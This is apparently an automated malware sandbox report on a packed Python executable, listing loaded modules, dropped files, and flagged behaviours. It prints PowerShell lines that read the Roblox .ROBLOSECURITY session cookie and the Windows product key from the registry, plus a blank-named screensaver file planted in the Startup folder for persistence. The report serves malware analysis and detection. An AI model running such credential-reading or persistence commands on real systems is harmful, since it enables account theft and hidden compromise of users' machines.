Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll

Source: C:\Windows\System32\tasklist.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\systeminfo.exe systeminfo

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: program.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: program.exe

Static file information: File size 7954796 > 1048576

Source: program.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: program.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: program.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: program.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: program.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: program.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: program.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: program.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: \t5.pdbj source: powershell.exe, 0000002A.00000002.1989050806.000001E9C9F48000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: program.exe, 00000001.00000002.2116621230.00007FFDFAF07000.00000040.00000001.01000000.00000013.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb\| source: program.exe, 00000001.00000002.2117447704.00007FFDFB36A000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdbDD source: program.exe, 00000001.00000002.2119745990.00007FFE007E5000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"OpenSSL 3.0.15 3 Sep 20243.0.15built on: Wed Sep 4 15:52:04 2024 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availableget_and_lock..\s\crypto\ex_data.cossl_crypto_get_ex_new_index_exossl_crypto_new_ex_data_exCRYPTO_dup_ex_dataCRYPTO_set_ex_dataOPENSSL_WIN32_UTF8..\s\crypto\getenv.ccompiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specificC:\Program Files\Common Files\SSLC:\Program Files\OpenSSL\lib\ossl-modules.dllCPUINFO: ..\s\crypto\init.cOPENSSL_init_cryptoOPENSSL_atexit..\s\crypto\initthread.c..\s\crypto\mem_sec.cassertion failed: (bit & 1) == 0assertion failed: list >= 0 && list < sh.freelist_sizeassertion failed: ((ptr - sh.arena) & ((sh.arena_size >> list) - 1)) == 0assertion failed: bit > 0 && bit < sh.bittable_sizeassertion failed: TESTBIT(table, bit)assertion failed: !TESTBIT(table, bit)assertion failed: WITHIN_FREELIST(list)assertion failed: WITHIN_ARENA(ptr)assertion failed: temp->next == NULL \|\| WITHIN_ARENA(temp->next)assertion failed: (char *)temp->next->p_next == listassertion failed: WITHIN_FREELIST(temp2->p_next) \|\| WITHIN_ARENA(temp2->p_next)assertion failed: size > 0assertion failed: (size & (size - 1)) == 0assertion failed: (minsize & (minsize - 1)) == 0assertion failed: sh.freelist != NULLassertion failed: sh.bittable != NULLassertion failed: sh.bitmalloc != NULLassertion failed: !sh_testbit(temp, slist, sh.bitmalloc)assertion failed: temp != sh.freelist[slist]assertion failed: sh.freelist[slist] == tempassertion failed: temp-(sh.arena_size >> slist) == sh_find_my_buddy(temp, slist)assertion failed: sh_testbit(chunk, list, sh.bittable)assertion failed: WITHIN_ARENA(chunk)assertion failed: sh_testbit(ptr, list, sh.bittable)assertion failed: ptr == sh_find_my_buddy(buddy, list)assertion failed: ptr != NULLassertion failed: !sh_testbit(ptr, list, sh.bitmalloc)assertion failed: sh.freelist[list] == ptr/0123456789ABCDEFCRYPTO_memdup..\s\crypto\o_str.chexstr2buf_sepossl_hexstr2buf_sepbuf2hexstr_sepossl_buf2hexstr_sep..\s\crypto\packet.cwpacket_intern_init_lenWPACKET_start_sub_packet_len__..\s\crypto\param_build.cparam_pushparam_push_numOSSL_PARAM_BLD_push_BN_padNegative big numbers are unsupported for OSSL_PARAMOSSL_PARAM_BLD_push_utf8_stringOSSL_PARAM_BLD_push_utf8_ptrOSSL_PARAM_BLD_push_octet_stringOSSL_PARAM_BLD_p
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: program.exe, 00000000.00000003.1704155388.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2123042345.00007FFE1A464000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: program.exe, 00000001.00000002.2117447704.00007FFDFB2D2000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: program.exe, 00000000.00000003.1704155388.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2123042345.00007FFE1A464000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\sqlite3.pdb source: program.exe, program.exe, 00000001.00000002.2120062918.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb source: program.exe, program.exe, 00000001.00000002.2117447704.00007FFDFB36A000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\tgmup5d5\tgmup5d5.pdbhPE source: powershell.exe, 0000002A.00000002.1908908412.000001E9B2165000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Projects\WinRAR\rar\build\rar64\Release\RAR.pdb source: rar.exe, 00000053.00000002.2018718674.00007FF64FEC0000.00000002.00000001.01000000.0000001A.sdmp, rar.exe, 00000053.00000000.2004144713.00007FF64FEC0000.00000002.00000001.01000000.0000001A.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\tgmup5d5\tgmup5d5.pdb source: powershell.exe, 0000002A.00000002.1908908412.000001E9B2165000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: program.exe, 00000001.00000002.2122070037.00007FFE130C1000.00000040.00000001.01000000.0000000D.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: program.exe, 00000001.00000002.2121630063.00007FFE11EC1000.00000040.00000001.01000000.00000006.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: program.exe, 00000001.00000002.2121042650.00007FFE11EA1000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WA source: program.exe
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: program.exe, 00000001.00000002.2120841650.00007FFE1151B000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: program.exe, 00000001.00000002.2121890288.00007FFE12E11000.00000040.00000001.01000000.00000012.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: program.exe, 00000001.00000002.2120841650.00007FFE1151B000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: program.exe, 00000001.00000002.2122536379.00007FFE13301000.00000040.00000001.01000000.00000009.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: program.exe, 00000001.00000002.2122251570.00007FFE13201000.00000040.00000001.01000000.0000000C.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_sqlite3.pdb source: program.exe, program.exe, 00000001.00000002.2120647097.00007FFE0EB41000.00000040.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python313.pdb source: program.exe, 00000001.00000002.2118655051.00007FFDFB868000.00000040.00000001.01000000.00000004.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdb source: program.exe, program.exe, 00000001.00000002.2119745990.00007FFE007E5000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: program.exe, program.exe, 00000001.00000002.2120375422.00007FFE0E15E000.00000040.00000001.01000000.0000000E.sdmp

Source: program.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: program.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: program.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: program.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: program.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

Source: VCRUNTIME140.dll.0.dr

Static PE information: 0x78BDDED1 [Sat Mar 11 17:01:05 2034 UTC]

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tgmup5d5\tgmup5d5.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tgmup5d5\tgmup5d5.cmdline"

Source: C:\Users\user\Desktop\program.exe

Code function: 1_2_00007FFDFAF10350 EntryPoint,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,VirtualProtect,

1_2_00007FFDFAF10350

Source: program.exe	Static PE information: real checksum: 0x7a2451 should be: 0x7a28dd
Source: python313.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x1cb64b
Source: _ctypes.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x1f35a
Source: unicodedata.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x46d69
Source: _bz2.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0xdba7
Source: libffi-8.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0xa1d1
Source: _ssl.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x17cae
Source: sqlite3.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0xa8f8a
Source: libcrypto-3.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x197f77
Source: _queue.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x11959
Source: _socket.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x1a226
Source: _decimal.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x1fcc8
Source: _hashlib.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0xdd74
Source: libssl-3.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x4330c
Source: select.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x7797
Source: _lzma.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x21293
Source: _sqlite3.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x15eca
Source: tgmup5d5.dll.58.dr	Static PE information: real checksum: 0x0 should be: 0x10a05

Source: libffi-8.dll.0.dr	Static PE information: section name: UPX2
Source: VCRUNTIME140.dll.0.dr	Static PE information: section name: fothk
Source: VCRUNTIME140.dll.0.dr	Static PE information: section name: _RDATA

Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFDFAE6AC25 push rcx; ret	1_2_00007FFDFAE6AC62
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE00784331 push rcx; ret	1_2_00007FFE00784332
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE013427AE push rsp; iretd	1_2_00007FFE013427B9
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE0134267D push rbx; retf	1_2_00007FFE01342685
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFD9A3CD2A5 pushad ; iretd	8_2_00007FFD9A3CD2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFD9A4E861D push ebx; ret	8_2_00007FFD9A4E863A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFD9A4E863D push ebx; ret	8_2_00007FFD9A4E867A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFD9A4EADE7 push esp; retf	8_2_00007FFD9A4EADE8

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe

Source: C:\Users\user\Desktop\program.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73082\libffi-8.dll	Jump to dropped file
Source: C:\Users\user\Desktop\program.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73082\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\program.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73082\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\program.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73082\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\program.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73082\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\program.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73082\libssl-3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\program.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73082\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\program.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Jump to dropped file
Source: C:\Users\user\Desktop\program.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73082\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\program.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73082\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\program.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73082\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\program.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73082\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\program.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73082\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\program.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73082\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\program.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73082\libcrypto-3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\program.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73082\_bz2.pyd	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\tgmup5d5\tgmup5d5.dll	Jump to dropped file
Source: C:\Users\user\Desktop\program.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73082\python313.dll	Jump to dropped file
Source: C:\Users\user\Desktop\program.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73082\_ctypes.pyd	Jump to dropped file

Source: C:\Users\user\Desktop\program.exe

File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr

Jump to behavior

Source: C:\Users\user\Desktop\program.exe

File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\program.exe

Code function: 0_2_00007FF6B7505830 GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,

0_2_00007FF6B7505830

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
